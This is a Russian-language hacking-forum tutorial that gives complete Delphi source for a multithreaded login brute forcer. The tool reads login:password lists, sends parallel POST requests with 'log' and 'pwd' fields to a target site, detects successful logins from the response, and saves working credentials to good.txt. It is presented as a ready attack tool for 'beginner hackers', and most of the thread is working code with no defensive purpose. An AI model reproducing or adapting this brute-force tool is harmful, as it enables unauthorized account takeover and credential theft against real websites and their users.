• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Пишем многопоточный Brute

  • Автор темы Автор темы Celis Hugo
  • Дата начала Дата начала
  • Просмотры Просмотры 450
Статус
В этой теме нельзя размещать новые ответы.

Celis Hugo

we are the legend

Celis Hugo

we are the legend
Топовый
Топовый
Регистрация
27 Дек 2016
Сообщения
154
Реакции
65
Чтобы понять схему работы нашего будущего приложения попробуем всё представить:
по нажатию на кнопку Brute, программа должна начать вызывать нужное количество раз потоки (вызвать процедуру Execute у потока). В свою очередь в процедуре Execute должен стоять некий счётчик, который с каждым вызовом процедуры будет менять логин и пароль. Тем самым мы получим много потоков, которые будут параллельно друг-другу посылать POST - запросы на сервер, обрабатывать их и кидать их либо в goodfile, либо в badfile.
Теперь что касается данных файлов. Кто не читал, обязательно прочтите о синхронизации потоков, т.к. её мы тут будем активно использовать, именно с помощью методов Sinchronize и будут происходить все обращения (записывание) к (в) файлам(ы).

Я надеюсь что общий принцип понятен. А если нет, то станет понятен во время работы. Поехали[1].
Первым делом создадим новый проект (дабы не насиловать исходники старого, да и память освежить всегда полезно).
На форме у нас несколько меток (Login😛ass, Good, Bad, и 2 счётчика для Good-ов и Bad-ов). Так же компонент UpDown, привязанный к edit1, кнопка открытия файла, кнопка Brute, и memo для записи в него отчётов.
Теперь идём дальше, как обычно сначала обработаем кнопку загрузки файла:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var Op: TOpenDialog;  //Переменная типа TOpenDialog
begin
Op:= TOpenDialog.Create(OpenDialog1);  // инициализируем переменную
Op:= OpenDialog1; //привязываем к компоненту

if Op.Execute then  //Если диалог вызван, то
lp.LoadFromFile(Op.FileName); //В STRINGLIST pl выгружаем данные из файла открытого в диалоге

end;
Надо понимать переменную lp класса tstringlist мы должны создать и инициализировать заранее (инициализация в событии создания формы - OnCreate).

Так, теперь создадим поток:
Код:
type
MyThread = class(TThread)
private  //приватные переменные потока для извлечения логинов и паролей
logPath: string;  //извлечение логина
PasPath: string; //извлечение пароля
res: integer; //переменная результата (результат - или брут успешен, или нет)
public
 constructor Create(CreateSuspended: Boolean); //конструктор потока
 procedure Synch; // Процедура синхронизации
protected
 procedure Execute; override; //процедура Execute
end;
А теперь по-порядку. Приватные переменные созданы для извлечения логина и пароля, а так же для контроля результата. Кто читал первую часть статьи про написание Brute, тот помнит, что логины и пароли мы делили с помощью свойств массива StringList, в частности Delimiter и DelimiterText. Сейчас же, что бы не засорять код и не плодить лишние переменные, будем разделять логины и пароли стандартными строковыми функциями, а ложить результат как раз в эти 2 переменные: logPath и PasPath.

Переменная же res будет служить счётчиком результата. Т.е. если брут прошёл успешно и запрос вернул нам положительный результат, то в переменную res мы положим какое-либо значение, например цифру 1. Если брут не успешен, то цифру -1. В итоге мы обработаем эти значения, и в соответствии с ними предпримем какие-либо действия (например если результат равен 1 - то в файл GOOD.txt будет ложиться логин и пароль).

Теперь что такое конструктор потока? В данном случае у нас конструктор события Create. Это что-то вроде свойства Create у формы, т.е. что мы пропишем в обработчик конструктора, то и выполнится при создании потока.
Сразу его пропишем:
Код:
constructor MyThread.Create(CreateSuspended: Boolean);

begin
  inherited Create(CreateSuspended);
end;
Процедура Synch будет служить процедурой синхронизации (вопросы что да нахуя зачем оставь при себе, надо было читать предыдущие статьи. В частности синхронизацию потоков я описывал до этого).

Вроде разобрались с объявление потока. Теперь создадим обработчик события onclick на кнопке Brute! и напишем там следующее:
//Добавляем глобальные переменные
Код:
var
GoodFile, BadFile: textfile;
acc, Thread: integer;
work: Boolean;

//процедура onclick кнопки Brute!:
procedure TForm1.Button2Click(Sender: TObject);
begin
AssignFile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');  //Привязываем переменную GOODFILE к пути проекта+good.txt
Rewrite(GoodFile);  //Записываем GOODFILE
CloseFile(GoodFile);  //Закрываем GOODFILE

AssignFile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');  //аналогично поступаем и с BADFile
Rewrite(BadFile);
CloseFile(BadFile);

acc:= -1;  //Переменная acc - отвечает за текущую строку в StringList'е с логинами и паролями. Ставим ей значение -1, т.к. в последующем она будет
инкриментирована.
work:= true; // work будет проверять, есть ли ещё не проверенные строки в StringList'е и выдавать значение. Если true- то поток продолжает работу. Если False - то прекращает.
label4.Caption:= '0'; //Счётчик Good'ов
label6.Caption:= '0'; //Счётчик Bad'ов

for Thread:=1 to strtoint(edit1.Text) do  //Самый ответственный момент, запускаем потоки. Потоки от одного, до кол-ва введённого пользователем.
  MyThread.Create(false); //запуск.

Thread:= strtoint(Edit1.Text); //в переменную Thread ложится количество потоков введённых пользователем (переменная становится счётчиком потоков)
end;



procedure TForm1.FormCreate(Sender: TObject);
begin
lp:= TStringList.Create;
cs:= TCriticalSection.Create; // об этом позже :)
end;
Теперь ставим курсор на процедуру Execute в потоке, нажимаем Ctrl+Shift+C и переходим на обработчик процедуры.
Там у нас будет обычный POST-запрос с выдранным логином и паролем:
Код:
procedure MyThread.Execute;
var
nast: integer;    //переменная, обрабатывающая действующую строку с логином и паролем
 Param: TStringList;   // параметры для POST
 Result: TStringList;    //переменная для проверки результата
HTTP: TIdHTTP;   //переменная типа TIDHTTP
begin
  inherited;

while work do     //пока work=true делаем:

  begin
    cs.Enter;     //вход в критическую секцию
    inc(acc);     //инкриментируем переменную acc
    if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
    cs.Leave;    //Выход из критической секции

      if work then //если WOrk = true, то
      begin
        HTTP:= TIdHTTP.Create(nil); //инициализация переменной HTTP как объект класса TIdHTTP
        logPath:= Copy(lp[nast],1,pos(':',lp[nast])-1);  //Выдираем логин (ВНИМАНИЕ! Вот это и есть то самое динамическое действие в потоке)
        PasPath:= Copy(lp[nast], pos(':', lp[nast])+1, length(lp[nast])); //Выдираем пароль

        Result:= TStringList.Create; //типичный POST-запрос
        param:= TStringList.Create;
        param.Add('log='+logPath);
        param.Add('pwd='+PasPath);
        Result.Text:= http.Post('сайт',param);
        if pos('logout',Result.Text) <> 0 then res:=1 else res:=-1; //если в массиве Result есть значение 'logout', то res=1, иначе res=-1.
      HTTP.Free; //Освобождаем переменную
      Param.Free; //Освобождаем переменную
      Synchronize(Synch); // Процедура Synch синхронизирована с помощью метода Synchronize

      end;



  end;
dec(Thread); // Уменьшаем количество потоков на 1
 if Thread=0 then ShowMessage('брутфорс закончен'); // если количество потоков = 0 тогда вызываем сообщение
end;
А теперь рассмотрим то, "о чём позже" - критические секции. Тебя наверное заинтересовал этот код:
Код:
 cs.Enter;     //вход в критическую секцию
    inc(acc);     //инкриментируем переменную acc
    if acc < lp.Count then nast:=acc else work:= false;   //если acc < количества строк в файле логина и пароля, то curacc = acc, иначе work=false;
    cs.Leave;    //Выход из критической секции
Объясняю. При работе с потоками, когда работают параллельно несколько потоков, и работают они с одними и теми же переменными, обязательно надо использовать критические секции. Это очень полезная вещь, которая к переменной в настоящий момент допускает лишь 1 поток. В нашем случае в критической секции значение переменной acc увеличивается на 1. Но если потоки работают параллельно, и без этих секций, то acc (а эта переменная означает строку в stringlist'е) будет увеличиваться сразу на 1 несколько раз, в итоге потоки сработают неправильно, выдадут не верный результат. А Критическая секция допускает 1 поток, пропускает его через себя, и лишь потом допускает второй. И ещё, либа критических секций прописывается в библиотеки отдельно, и зовётся он SyncObjs. Надеюсь общий принцип понятен.
Код:
procedure MyThread.Synch;
begin
case res of // если res =
1: begin // 1, то:
    form1.Label4.Caption:= inttostr(strtoint(form1.Label4.Caption)+1);
    Append(GoodFile); // открываем для записи файл GoodFile
    WriteLn(GoodFile, logpath+':'+paspath); // Записываем в него логин : пароль
    closefile(GoodFile); // закрываем
   end;
-1: begin
    form1.Label6.Caption:= inttostr(strtoint(form1.Label6.Caption)+1);
    Append(BadFile); // аналогично
    WriteLn(BadFile, logpath+':'+paspath);
    closefile(BadFile);
   end;
end;
end;
В принципе и всё, работа многопоточного брута показана. В данном случае показан самый просто пример.
Спасибо за внимание.
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу